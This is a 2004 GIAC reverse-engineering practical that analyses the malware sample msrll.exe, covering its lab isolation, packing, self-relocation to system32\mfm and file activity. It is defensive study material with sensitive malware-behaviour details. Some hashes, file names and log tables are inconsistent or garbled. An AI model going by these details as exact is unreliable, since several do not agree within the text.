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"Advanced Incident Response, Threat Hunting, and Digital Forensics (FOR508)
Malware Analysis of msrll.exe
GIAC GREM Practical Assignment
Version 1.0

Completed in partial fulfillment of
GIAC Reverse Engineering Malware (GREM)

Gregory Leibolt
SANS – Online ILOT REM
October 1, 2004
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Abstract

The purpose of this practical was to demonstrate the analytical process and methodology involved in analyzing an unknown malware specimen. The analysis must be performed in a safe environment, or laboratory, that would ensure no infection of, or damage to, any external systems. The laboratory must also use appropriate tools to monitor, interact with and control the malware specimen during behavioral analysis. The malware code and its behavior was reviewed with hex editors, debuggers and other tools as needed.

A thorough review of the specimen provided an over-all understanding of the function, purpose, and capabilities of the malware. With the knowledge gained through analysis, recommendations on the protection and removal of the malware specimen could be offered.

Malware Laboratory Setup

Since the purpose and function of the malware specimen was unknown, a special laboratory setup was required that isolated and controlled the activity of the specimen. Though this environment must protect all external networks and computers, it must also provide enough functionality to allow the malware to run as it would in the “wild.”

The test environment of choice was VMware because it could support multiple hosts, running multiple operating systems, and an isolated network. This same environment was used in the "Reverse-Engineering Malware: Tools and Techniques Hands-On" training class and also selected to be used for this practical.

The laboratory setup was as follows:

The Host:
An IBM ThinkPad T23 running Windows 2000 Service pack 4 with updated security patches was the host. Norton Firewall was used, as an extra measure, to protect the host from the VMware network. The local network interface was disabled and the computer was physically disconnected from all physical networks. This system had no any built-in or PCMCIA wireless capability. It used an 866 megahertz Intel Pentium III, had a 21.13 Gigabyte usable hard drive partition capacity and had a 640 Megabyte installed memory.

The VMware network interfaces were VMware Virtual Ethernet Adapter for VMnet1 and VMware Virtual Ethernet Adapter for VMnet8.
VMware 4.5 was installed on the host and it supported three virtual systems:

1. **Linux Red Hat 9.0 Linux 2.4.28 kernel.** This system was provided as part of the Reverse-Engineering Malware course. A “baseline” VMware snapshot was taken so the analyst could easily bring up a known, clean, working operating system at any time.

2. **Windows 2000 Service pack 4 and up-to-date security patches.** A “baseline” VMware snapshot was taken.

3. **A second copy of Windows 2000 Service pack 4 and up-to-date security patches.** A “baseline” VMware snapshot was taken.

The whole VMware environment was set up to use “Host Only” networking. This meant a private network shared with the host. A private class C RFC 1918 “reserved” network was used.

A. The IP address range was 192.168.239.0
B. The class C netmask was 255.255.255.0
C. The host IP address was 192.168.239.1
D. The VMware Windows 2000 system was 192.168.239.130
E. The VMware Red Hat Linux system was 192.168.239.131
F. The second VMware Windows 2000 system was 192.168.239.132

These “reserved” network addresses were designed to be used as internal private addresses and are considered to be un-routable addresses. The (a) use of private network addresses, (b) the host using a firewall, and (c) being disconnected from any external networks ensured isolation of the malware activity.

The VMware Windows 2000 system contained all the Windows based tools from the CD provided for the "Reverse-Engineering Malware: Tools and Techniques Hands-On" class. The VMware Linux Red Hat 9.0 system came with additional tools used for the analysis.

Once the laboratory environment was set up, network connectivity was tested to verify full network functionality, and the operating system date and times were checked.

**Properties of the Malware Specimen**

The Malware specimen for analysis was provided by GIAC. This specimen was downloaded from the curriculum page section 24.1.5 entitled “Malware Specimen for GREM Practical Assignment” obtained at http://www.giac.org/GREM_assignment.php. The file name was msrll.zip. After downloading the specimen to the host computer, an MD5sum hash was created to establish baseline integrity for the zip file.

```
C:\Security\MALWARE_Pract>md5sum msrll.zip
696c78651244b1ad0363a400a23d48ef  *msrll.zip
```

Screenshot of MD5sum of msrll.zip on Host system
The file was then transferred to the VMware Windows 2000 system using netcat and MD5sum was used to validate the integrity of the zip file:

```
C:\Malware>md5sum msrll.zip
696c7865124b1ad03634a00a23d48ef *msrll.zip
```

Screenshot of MD5sum of msrll.zip on VMware Windows 2000 system

The file was then transferred to the VMware Linux red Hat 9.0 system using netcat. An MD5sum was used to verify integrity of the zip file:

```
[root@localhost malware]# nc -vv -l -p 1234 > msrll.zip
listening on [any] 1234 ...
192.168.239.1: inverse host lookup failed: Host name lookup failure
connect to [192.168.239.131] from (UNKNOWN) [192.168.239.11] 1352
sent 0, read 39100
[root@localhost malware]# md5sum msrll.zip
696c7865124b1ad03634a00a23d48ef msrll.zip
[root@localhost malware]#  
```

Screenshot of MD5sum of msrll.zip on VMware Linux system

Analysis of the msrll.zip and msrll.exe files under Linux:

A Linux utility called zipinfo was used to obtain information about the zip file.

```
Archive:  msrll.zip   39100 bytes   1 file
End-of-central-directory record:  
-----------------------------------------------
   Actual offset of end-of-central-dir record:       39078 (000098A6h)
   Expected offset of end-of-central-dir record:     39078 (000098A6h)
   (based on the length of the central directory and its expected offset)

   This zipfile constitutes the sole disk of a single-part archive; its central directory
contains 1 entry.  The central directory is 55 (00000037h) bytes long, and its (expected)
offset in bytes from the beginning of the zipfile is 39023 (0000986Fh).

   There is no zipfile comment.

Central directory entry #1:  
-----------------------------
   msrll.exe
   offset of local header from start of archive:     0 (00000000h) bytes
   file system or operating system of origin:        MS-DOS, OS/2 or NT FAT
   version of encoding software:                     2.0
   minimum file system compatibility required:       MS-DOS, OS/2 or NT FAT
   minimum software version required to extract:     2.0
   compression method:                               deflated
   compression sub-type (deflation):                 maximum
   file security status:                             encrypted
   extended local header:                           yes
   file last modified on (DOS date/time):            2004 May 10 16:29:54
   32-bit CRC value (hex):                          540ec3bb
   compressed size:                                  38968 bytes
   uncompressed size:                                41984 bytes
   length of filename:                               9 characters
   length of extra field:                            0 bytes
   length of file comment:                           0 characters
   disk number on which file begins:                 disk 1
   apparent file type:                               binary
   non-MSDOS external file attributes:               000000 hex
   MS-DOS file attributes (20 hex):                  arc
```

Screenshot of “zipinfo” of msrll.zip on VMware Linux system

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Zipinfo showed that there was one file in the zip archive called msrll.exe. It was a DOS, OS/2 or NT FAT 2.0 file type and was last modified on May 10, 2004 at 16:29:54. There was no way of knowing what time zone applied. Lastly, msrll.exe was a binary file with an uncompressed size of 41984 bytes.

Additionally, unzip –Z was used to check the zipinfo data:

```
Archive: msrc.exe 39100 bytes 1 file
-rwxa-- 2.0 fat 41984 Bl defX 10-May-04 16:29 msrc.exe
1 file, 41984 bytes uncompressed, 38956 bytes compressed: 7.2%
```

Screenshot of “unzip –Z” extraction of msrc.exe on VMware Linux system

The msrc.exe artifact was extracted using unzip with the –X option to retain the timestamps:

```
-rw-r--r-- 1 root root 39100 Aug 18 03:25 msrc.exe
-rw-r--r-- 1 root root 41984 May 10 16:29 msrc.exe
```

Screenshot of extracted msrc.exe file maintaining modification time stamp on VMware Linux system

An MD5sum hash was created to establish a baseline to maintain integrity of the msrc.exe file:

```
84acfe96a9859081341312c12c11aaa  msrc.exe
```

Screenshot MD5 sum hash of msrc.exe on VMware Linux system

The Linux “file” command reported msrc.exe as:

```
MS Windows PE Intel 80386 GUI executable not relocatable
```

Screenshot of “file msrc.exe” output on VMware Linux system

Analysis of the msrc.zip and msrc.exe files under Windows 2000:

WinZip 9.0 was used on the VMware Windows 2000 to evaluate the zip file and extract msrc.exe. Using WinZip to test the zip file showed that there were no errors:

```
No errors detected in compressed data of C:\malware\msrll.zip.
Testing ...
testing: msrc.exe OK
```

Screenshot of WinZip test output

Highlighting msrc.exe and selecting file properties in WinZip showed:

```
Name: msrc.exe          Ratio:  7%
Type: Application       Modified: 5/10/2004 4:29 PM
File size: 41,984        Path:     
Packed size: 38,968       CRC:      540Ec3BB
```

Screenshot of WinZip output of msrc.exe
Linux and Windows tools agreed on the statistics from msrll.zip and showed information about the zip file and the msrll.exe file. The msrll.exe file had a modification date of May 10, 2004 at 16:29:54, which meant that the analyst could possibly use this date as a reference point in the analysis. The analyst also knew that it was probably an MS Windows PE Intel executable. If the malware turned out to be a Solaris SPARC executable, for example, the analyst’s lab environment would have needed to change.

“Bintext” by Foundstone Inc. was used to extract strings from the msrll.exe file. Strings in binary files often provide insight on the identity and nature of a program.

There was little readable information available from the strings output. A few strings appeared to be related to libraries and modules:

<table>
<thead>
<tr>
<th>Offset</th>
<th>Size</th>
<th>ID</th>
<th>Text</th>
</tr>
</thead>
<tbody>
<tr>
<td>00009271</td>
<td>0051D071</td>
<td>0</td>
<td>VirtualAlloc</td>
</tr>
<tr>
<td>0000927E</td>
<td>0051D07E</td>
<td>0</td>
<td>VirtualFree</td>
</tr>
<tr>
<td>00009641</td>
<td>0051D441</td>
<td>0</td>
<td>kernel32.dll</td>
</tr>
<tr>
<td>0000964E</td>
<td>0051D44E</td>
<td>0</td>
<td>ExitProcess</td>
</tr>
<tr>
<td>0000965A</td>
<td>0051D45A</td>
<td>0</td>
<td>user32.dll</td>
</tr>
<tr>
<td>00009655</td>
<td>0051D455</td>
<td>0</td>
<td>MessageBoxA</td>
</tr>
<tr>
<td>00009671</td>
<td>0051D471</td>
<td>0</td>
<td>wprintfA</td>
</tr>
<tr>
<td>0000A17B</td>
<td>0051F07B</td>
<td>0</td>
<td>GetProcAddress</td>
</tr>
<tr>
<td>0000A18C</td>
<td>0051F08C</td>
<td>0</td>
<td>GetModuleHandleA</td>
</tr>
<tr>
<td>0000A19F</td>
<td>0051F09F</td>
<td>0</td>
<td>LoadLibraryA</td>
</tr>
<tr>
<td>0000A274</td>
<td>0051E074</td>
<td>0</td>
<td>advapi32.dll</td>
</tr>
<tr>
<td>0000A28C</td>
<td>0051E08C</td>
<td>0</td>
<td>msvt.dll</td>
</tr>
<tr>
<td>0000A297</td>
<td>0051E097</td>
<td>0</td>
<td>shell32.dll</td>
</tr>
<tr>
<td>0000A2A3</td>
<td>0051E0A3</td>
<td>0</td>
<td>user32.dll</td>
</tr>
<tr>
<td>0000A2AE</td>
<td>0051E0AE</td>
<td>0</td>
<td>version.dll</td>
</tr>
<tr>
<td>0000A2BA</td>
<td>0051E0BA</td>
<td>0</td>
<td>wininet.dll</td>
</tr>
<tr>
<td>0000A2C6</td>
<td>0051E0C6</td>
<td>0</td>
<td>ws2_32.dll</td>
</tr>
<tr>
<td>0000A313</td>
<td>0051E113</td>
<td>0</td>
<td>AdjustTokenPrivileges</td>
</tr>
</tbody>
</table>

There were also some strings right at the top that caught the analyst’s attention:

<table>
<thead>
<tr>
<th>Offset</th>
<th>Size</th>
<th>ID</th>
<th>Text</th>
</tr>
</thead>
<tbody>
<tr>
<td>0000004D</td>
<td>0040004D</td>
<td>0</td>
<td>This program cannot be run in DOS mode.</td>
</tr>
<tr>
<td>00000178</td>
<td>00400178</td>
<td>0</td>
<td>.text</td>
</tr>
<tr>
<td>000001A0</td>
<td>004001A0</td>
<td>0</td>
<td>.data</td>
</tr>
<tr>
<td>000001F0</td>
<td>004001F0</td>
<td>0</td>
<td>.idata</td>
</tr>
<tr>
<td>00000218</td>
<td>00400218</td>
<td>0</td>
<td>.aspack</td>
</tr>
<tr>
<td>00000240</td>
<td>00400240</td>
<td>0</td>
<td>.adata</td>
</tr>
</tbody>
</table>

The string “.aspack” was noted. This was an unusual assembler section name so a quick search on google® from a non-laboratory system lead to a web site located at http://www.woodmann.com/crackz/Packers.htm.
The following information about ASPack was on the site:

```
“ASPack & ASProtect - http://www.entechtaiwain.com/aspack.htm - A very competent Win32 compressor by Russian author Alexey Solodovnikov, note this useful snippet "After compression of the executable image, ASPack writes a small decompressor and places icons at the end of the compressed file. The address of the application's entry point is set to the beginning of the decompressor, and the original entry point is saved. After the decompressor decompresses the image in memory, it jumps to the application's original entry point" (common sections include .adata / .udata / .aspack).”

This information leads one to believe that the msrll.exe file is possibly an ASPack packed executable. Note, however, that .udata was not part of msrll.exe.

A visit to the official ASPack website seemed in order. Clicking on http://www.entechtaiwain.com/aspack.htm was redirected to http://www.aspack.com/ where a description of the program is provided:

“What is ASPack?
ASPack is an advanced Win32 executable file compressor, capable of reducing the file size of 32-bit Windows programs by as much as 70%. (ASPack's compression ratio improves upon the industry-standard zip file format by as much as 10-20%.) ASPack makes Windows 95/98/NT programs and libraries smaller, and decrease load times across networks, and download times from the internet; it also protects programs against reverse engineering by non-professional hackers. Programs compressed with ASPack are self-contained and run exactly as before, with no runtime performance penalties.

ASPack Features
- advanced processing of executable files (exe, dll, ocx)
- encoding and compression of program code, data, and resources
- completely transparent, self-contained operation with long filename support
- fast decompression routines deliver better performance than competing products
- integrates directly into Windows as a shell extension for ease of use
- full Windows 95, Windows 98 and Windows NT compatibility

ASPack Benefits
- significant reduction in executable file sizes, averaging from 40-70%
- decrease load times across networks, and download times from the internet
- embedded Windows applications require significantly less storage space
- protects resources and code against peeking, disassemblers and decompilers
- no runtime royalties for distributing compressed programs
- compatible with executables created by Microsoft Visual C++, Visual Basic, Inprise (Borland) Delphi and C++ Builder, and other Win32 compilers”
```

Many “packers,” attempt to protect the program from being analyzed. In this case the comment “it also protects programs against reverse engineering by non-professional hackers.” was made. If it turns out that ASPack was used, analysis of msrll.exe could be more difficult.

ASPack v2.12 was downloaded from the web site to then used on msrll.exe. It reported the following:
ASPack appeared to recognize its own work!

Behavioral Analysis

The Administrator account was used on the VMware Windows 2000 system so that all monitoring tools would have full access to system resources and the malware could run unrestricted.

Before running the malware artifact, several steps were performed to set up baselines and monitoring processes. These steps are described below:

1. Made a copy of msrll.exe called "Copy of msrll.exe."
2. Verified that it was an exact copy:

   Screenshot of msrll.exe and 'Copy of msrll.exe' MD5sum hashes

3. A snapshot of network services and connections was taken using the command, "netstat –a > netstat.before."
4. Regshot v1.61e5 was used to take a snapshot of a clean registry.
5. Norton Personal Firewall was running on the Host system to protect it from any unwanted network activity on the 192.168.239.0 network.
6. Packetyzer Sniffer v0.6.7 was started on the Host system’s VMnet1 network interface to capture traffic on the 192.168.239.0 network.
7. Several tools from SysInternals were activated:
   a. Filemon v6.07– which monitors file system activity on a system in real-time, was started to help identify file activity performed by msrll.exe.
   b. Regmon v6.06– which shows applications accessing the Registry, the keys they are accessing, and the Registry data that they are reading and writing, was started.
   c. TDImon v1.0– which monitors all TCP and UDP activity, was started.
   d. TCPview v2.34– which also monitors network activity, was started.
8. The Task Manager was launched using Ctrl-Alt-Insert keys to view processes.
9. “Copy of msrll.exe” was executed by right clicking on it and selecting Open.
10. All the different monitoring tools were watched for activity relating to msrll.exe.
11. Regshot v1.61e5 was then used to take a snapshot of a possibly changed registry.
12. “netstat –a > netstat.after” was used to log network activity after msrll.exe ran.
13. TCPview information was saved to a file called TCPview.after.
14. The Task Manager was used to kill the msrll.exe process after running for 5 minutes.
15. All the SysInternal monitoring tools were stopped and output was saved to files.
16. Regshot was then used to compare snapshots of the registry.
17. The VMware Windows 2000 system was then re-booted.

While the “Copy of msrll.exe” file was running, the Task Manager window suddenly showed no process running as “Copy of msrll.exe.” There was, however, a process called msrll.exe as seen in the screenshot graphic below:

![Screenshot Task Manager session of msrll.exe](image)

After running “Copy of msrll.exe,” the explorer window showed that the file “Copy of msrll.exe” was suddenly deleted from the C:\malware directory, where it was located.

**Filesystem Analysis:**

Filemon showed considerable filesystem activity related to msrll.exe. Some files were created by msrll.exe. The Filemon log output is reviewed below:

A directory called mfm was created:

```plaintext
182 2:48:15 PM Copy of msrll.e:760 CREATE C:\WINNT\system32\mfm SUCCESS Options: Create Directory Access: All
```

A file called msrll.exe was created and written:

```plaintext
191 2:48:15 PM Copy of msrll.e:760 CREATE C:\WINNT\system32\mfm\msrll.exe SUCCESS Options: OverwriteIfSequential Access: All
194 2:48:16 PM Copy of msrll.e:760 WRITE C:\WINNT\system32\mfm\msrll.exe SUCCESS Offset: 0 Length: 41984
```

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Later, it was opened, read and closed:

<table>
<thead>
<tr>
<th>Time</th>
<th>Action</th>
<th>File Path</th>
<th>Options</th>
<th>Access</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>290</td>
<td>2:48:17 PM</td>
<td>Copy of msrll.exe:760</td>
<td>OPEN</td>
<td></td>
<td>SUCCESS</td>
</tr>
<tr>
<td></td>
<td></td>
<td>C:\WINNT\system32\mfm\msrll.exe</td>
<td>Options: Open</td>
<td>Access: All</td>
<td></td>
</tr>
<tr>
<td>291</td>
<td>2:48:17 PM</td>
<td>Copy of msrll.exe:760</td>
<td>QUERY INFORMATION</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>C:\WINNT\system32\mfm\msrll.exe</td>
<td>SUCCESS Attributes: A</td>
<td></td>
<td></td>
</tr>
<tr>
<td>292</td>
<td>2:48:17 PM</td>
<td>Copy of msrll.exe:760</td>
<td>SET INFORMATION</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>C:\WINNT\system32\mfm\msrll.exe</td>
<td>SUCCESS FileBasicInformation</td>
<td></td>
<td></td>
</tr>
<tr>
<td>293</td>
<td>2:48:17 PM</td>
<td>Copy of msrll.exe:760</td>
<td>READ</td>
<td></td>
<td>SUCCESS</td>
</tr>
<tr>
<td></td>
<td></td>
<td>C:\WINNT\system32\mfm\msrll.exe</td>
<td>Options: Open</td>
<td>Access: All</td>
<td></td>
</tr>
<tr>
<td>294</td>
<td>2:48:17 PM</td>
<td>Copy of msrll.exe:760</td>
<td>READ</td>
<td></td>
<td>SUCCESS</td>
</tr>
<tr>
<td></td>
<td></td>
<td>C:\WINNT\system32\mfm\msrll.exe</td>
<td>Options: Open</td>
<td>Access: All</td>
<td></td>
</tr>
<tr>
<td>295</td>
<td>2:48:17 PM</td>
<td>Copy of msrll.exe:760</td>
<td>READ</td>
<td></td>
<td>SUCCESS</td>
</tr>
<tr>
<td></td>
<td></td>
<td>C:\WINNT\system32\mfm\msrll.exe</td>
<td>Options: Open</td>
<td>Access: All</td>
<td></td>
</tr>
<tr>
<td>296</td>
<td>2:48:17 PM</td>
<td>Copy of msrll.exe:760</td>
<td>READ</td>
<td></td>
<td>SUCCESS</td>
</tr>
<tr>
<td></td>
<td></td>
<td>C:\WINNT\system32\mfm\msrll.exe</td>
<td>Options: Open</td>
<td>Access: All</td>
<td></td>
</tr>
<tr>
<td>297</td>
<td>2:48:17 PM</td>
<td>Copy of msrll.exe:760</td>
<td>CLOSE</td>
<td></td>
<td>SUCCESS</td>
</tr>
<tr>
<td></td>
<td></td>
<td>C:\WINNT\system32\mfm\msrll.exe</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

This happened again:

<table>
<thead>
<tr>
<th>Time</th>
<th>Action</th>
<th>File Path</th>
<th>Options</th>
<th>Access</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>300</td>
<td>2:48:17 PM</td>
<td>Copy of msrll.exe:760</td>
<td>OPEN</td>
<td></td>
<td>SUCCESS</td>
</tr>
<tr>
<td></td>
<td></td>
<td>C:\WINNT\system32\mfm\msrll.exe</td>
<td>Options: Open</td>
<td>Access: Execute</td>
<td></td>
</tr>
<tr>
<td>301</td>
<td>2:48:17 PM</td>
<td>Copy of msrll.exe:760</td>
<td>QUERY INFORMATION</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>C:\WINNT\system32\mfm\msrll.exe</td>
<td>SUCCESS Attributes: A</td>
<td></td>
<td></td>
</tr>
<tr>
<td>302</td>
<td>2:48:17 PM</td>
<td>Copy of msrll.exe:760</td>
<td>CLOSE</td>
<td></td>
<td>SUCCESS</td>
</tr>
<tr>
<td></td>
<td></td>
<td>C:\WINNT\system32\mfm\msrll.exe</td>
<td>Options: Open</td>
<td>Access: Execute</td>
<td></td>
</tr>
</tbody>
</table>

Next “Copy of msrll.exe” ended all file activity and a new process was started that took over. This new process was C:\WINNT\system32\mfm\msrll.exe:

<table>
<thead>
<tr>
<th>Time</th>
<th>Action</th>
<th>File Path</th>
<th>Options</th>
<th>Access</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>303</td>
<td>2:48:17 PM</td>
<td>Copy of msrll.exe:760</td>
<td>QUERY INFORMATION</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>C:\WINNT\system32\mfm\msrll.exe</td>
<td>SUCCESS Attributes: D</td>
<td></td>
<td></td>
</tr>
<tr>
<td>304</td>
<td>2:48:17 PM</td>
<td>msrll.exe:488</td>
<td>OPEN</td>
<td>Directory</td>
<td>SUCCESS Options: Open</td>
</tr>
<tr>
<td></td>
<td></td>
<td>C:\WINNT\system32\mfm\msrll.exe</td>
<td></td>
<td>Access: Traverse</td>
<td></td>
</tr>
<tr>
<td>305</td>
<td>2:48:17 PM</td>
<td>msrll.exe:488</td>
<td>CLOSE</td>
<td></td>
<td>SUCCESS</td>
</tr>
<tr>
<td></td>
<td></td>
<td>C:\WINNT\system32\mfm\msrll.exe</td>
<td>Options: Open</td>
<td>Access: Execute</td>
<td></td>
</tr>
<tr>
<td>306</td>
<td>2:48:17 PM</td>
<td>msrll.exe:488</td>
<td>QUERY INFORMATION</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>C:\WINNT\system32\mfm\ws2_32.dll</td>
<td>FILE NOT FOUND Attributes: Error</td>
<td></td>
<td></td>
</tr>
<tr>
<td>307</td>
<td>2:48:17 PM</td>
<td>msrll.exe:488</td>
<td>QUERY INFORMATION</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>C:\WINNT\system32\mfm\ws2_32.dll</td>
<td>FILE NOT FOUND Attributes: Error</td>
<td></td>
<td></td>
</tr>
<tr>
<td>308</td>
<td>2:48:17 PM</td>
<td>msrll.exe:488</td>
<td>QUERY INFORMATION</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>C:\WINNT\system32\ws2_32.dll</td>
<td>FILE NOT FOUND Attributes: Error</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>C:\WINNT\system32\ws2_32.dll</td>
<td>Access: Execute</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

C:\WINNT\system32\mfm\msrll.exe actually deleted “Copy of msrll.exe:”

<table>
<thead>
<tr>
<th>Time</th>
<th>Action</th>
<th>File Path</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>318</td>
<td>2:48:17 PM</td>
<td>msrll.exe:488</td>
<td>SUCCESS</td>
</tr>
<tr>
<td></td>
<td></td>
<td>C:\\malware\Copy of msrll.exe</td>
<td></td>
</tr>
</tbody>
</table>
One file that msrll.exe looked for was jtram.conf. Not finding it, it then created it:

<table>
<thead>
<tr>
<th>Time</th>
<th>Event Description</th>
<th>Path</th>
<th>Options</th>
<th>Access</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>496 PM</td>
<td>OPEN</td>
<td>C:\WINNT\system32\mfm\jtram.conf</td>
<td>FILE NOT FOUND</td>
<td>All</td>
<td></td>
</tr>
<tr>
<td>766 PM</td>
<td>OPEN</td>
<td>C:\WINNT\system32\mfm\jtram.conf</td>
<td>FILE NOT FOUND</td>
<td>All</td>
<td></td>
</tr>
<tr>
<td>767 PM</td>
<td>CREATE</td>
<td>C:\WINNT\system32\mfm\jtram.conf</td>
<td>SUCCESS</td>
<td>All</td>
<td></td>
</tr>
</tbody>
</table>

Filemon log file output related to msrll.exe

There appeared to be some cryptographic function activity:

<table>
<thead>
<tr>
<th>Time</th>
<th>Event Description</th>
<th>Path</th>
<th>Options</th>
<th>Access</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>774 PM</td>
<td>OPEN</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>SUCCESS</td>
<td>All</td>
<td></td>
</tr>
<tr>
<td>775 PM</td>
<td>QUERY INFORMATION</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>Length: 132368</td>
<td></td>
<td></td>
</tr>
<tr>
<td>776 PM</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>Offset: 0</td>
<td>Length: 296</td>
<td></td>
</tr>
<tr>
<td>777 PM</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>Offset: 300</td>
<td>Length: 4096</td>
<td></td>
</tr>
<tr>
<td>778 PM</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>Offset: 4396</td>
<td>Length: 4096</td>
<td></td>
</tr>
<tr>
<td>779 PM</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>Offset: 8492</td>
<td>Length: 4096</td>
<td></td>
</tr>
<tr>
<td>808 PM</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>Offset: 125792</td>
<td>Length: 4096</td>
<td></td>
</tr>
<tr>
<td>809 PM</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>Offset: 129888</td>
<td>Length: 2480</td>
<td></td>
</tr>
<tr>
<td>810 PM</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>Offset: 0</td>
<td>Length: 296</td>
<td></td>
</tr>
<tr>
<td>811 PM</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>Offset: 300</td>
<td>Length: 4096</td>
<td></td>
</tr>
<tr>
<td>812 PM</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>Offset: 4396</td>
<td>Length: 4096</td>
<td></td>
</tr>
<tr>
<td>813 PM</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>Offset: 8492</td>
<td>Length: 4096</td>
<td></td>
</tr>
<tr>
<td>839 PM</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>Offset: 0</td>
<td>Length: 296</td>
<td></td>
</tr>
<tr>
<td>840 PM</td>
<td>READ</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>Offset: 300</td>
<td>Length: 4096</td>
<td></td>
</tr>
</tbody>
</table>

... Cut Sort for Brevity. The Cryptographic Process Continued...

After the offset reading of rbase.dll there were many attempts to open /dev/random:

<table>
<thead>
<tr>
<th>Time</th>
<th>Event Description</th>
<th>Path</th>
<th>Options</th>
<th>Access</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>873 PM</td>
<td>CLOSE</td>
<td>C:\WINNT\system32\rsabase.dll</td>
<td>SUCCESS</td>
<td></td>
<td></td>
</tr>
<tr>
<td>874 PM</td>
<td>OPEN</td>
<td>C:\dev\random PATH NOT FOUND</td>
<td>Options: Open</td>
<td>All</td>
<td></td>
</tr>
<tr>
<td>875 PM</td>
<td>OPEN</td>
<td>C:\dev\random PATH NOT FOUND</td>
<td>Options: Open</td>
<td>All</td>
<td></td>
</tr>
</tbody>
</table>

Filemon log file output related to msrll.exe

GREM 1.0 – Gregory Leibolt
There were also multiple writes to the jtram.conf file:

<table>
<thead>
<tr>
<th>Time</th>
<th>Process</th>
<th>Type</th>
<th>Path</th>
<th>Success</th>
</tr>
</thead>
<tbody>
<tr>
<td>888</td>
<td>msrll.exe:488</td>
<td>WRITE</td>
<td>C:\WINNT\system32\mfm\jtram.conf</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>899</td>
<td>msrll.exe:488</td>
<td>WRITE</td>
<td>C:\WINNT\system32\mfm\jtram.conf</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>914</td>
<td>msrll.exe:488</td>
<td>WRITE</td>
<td>C:\WINNT\system32\mfm\jtram.conf</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>915</td>
<td>msrll.exe:488</td>
<td>WRITE</td>
<td>C:\WINNT\system32\mfm\jtram.conf</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>931</td>
<td>msrll.exe:488</td>
<td>WRITE</td>
<td>C:\WINNT\system32\mfm\jtram.conf</td>
<td>SUCCESS</td>
</tr>
</tbody>
</table>

... Cut Short for Brevity. Writing to jtram Continued ...

Finally it was closed:

<table>
<thead>
<tr>
<th>Time</th>
<th>Process</th>
<th>Type</th>
<th>Path</th>
<th>Success</th>
</tr>
</thead>
<tbody>
<tr>
<td>1108</td>
<td>msrll.exe:488</td>
<td>CLOSE</td>
<td>C:\WINNT\system32\mfm\jtram.conf</td>
<td>SUCCESS</td>
</tr>
</tbody>
</table>

The last thing noticed was a check on an index.dat file:

<table>
<thead>
<tr>
<th>Time</th>
<th>Process</th>
<th>Type</th>
<th>Path</th>
<th>Success</th>
</tr>
</thead>
<tbody>
<tr>
<td>1139</td>
<td>msrll.exe:488</td>
<td>QUERY</td>
<td>C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>1140</td>
<td>msrll.exe:488</td>
<td>QUERY</td>
<td>C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat</td>
<td>SUCCESS</td>
</tr>
</tbody>
</table>

The msrll.exe process also looked for a wide variety of dll files. Analysis of the dll files provided some insight about msrll.exe. Information about some of the more interesting dll files is described below.

Most of the description information was obtained from:


<table>
<thead>
<tr>
<th>DLL File</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ws2_32.dll</td>
<td>File that contains the Windows Sockets API used by most Internet and network applications to handle network connections.</td>
</tr>
<tr>
<td>shell32.dll</td>
<td>File that contains the Windows Shell API functions used to open web pages and documents and to obtain information about file associations.</td>
</tr>
<tr>
<td>MSI.dll</td>
<td>File that contains functions used to install MSI (Microsoft Installer) packages.</td>
</tr>
<tr>
<td>msafd.dll</td>
<td>Microsoft Windows Sockets 2.0 transport service provider for transport, exposing the TDI interface, currently TCP/IP.</td>
</tr>
<tr>
<td>RASAPI32.dll</td>
<td>Remote Access API (RAS), used by Windows applications to control modem connections.</td>
</tr>
<tr>
<td>USERENV.dll</td>
<td>File that contains application programming interface (API) functions to create and manage user profiles.</td>
</tr>
<tr>
<td>netapi32.dll</td>
<td>File that contains the Windows NET API used by applications to access a Microsoft network.</td>
</tr>
</tbody>
</table>
8. OPEN C:\WINNT\system32\SECUR32.dll
Description: File that contains Windows Security functions.

9. OPEN C:\WINNT\system32\WSOCK32.dll
Description: File that contains the Windows Sockets API used by most Internet and network applications to handle network connections.

10. OPEN C:\WINNT\system32\ICMP.dll
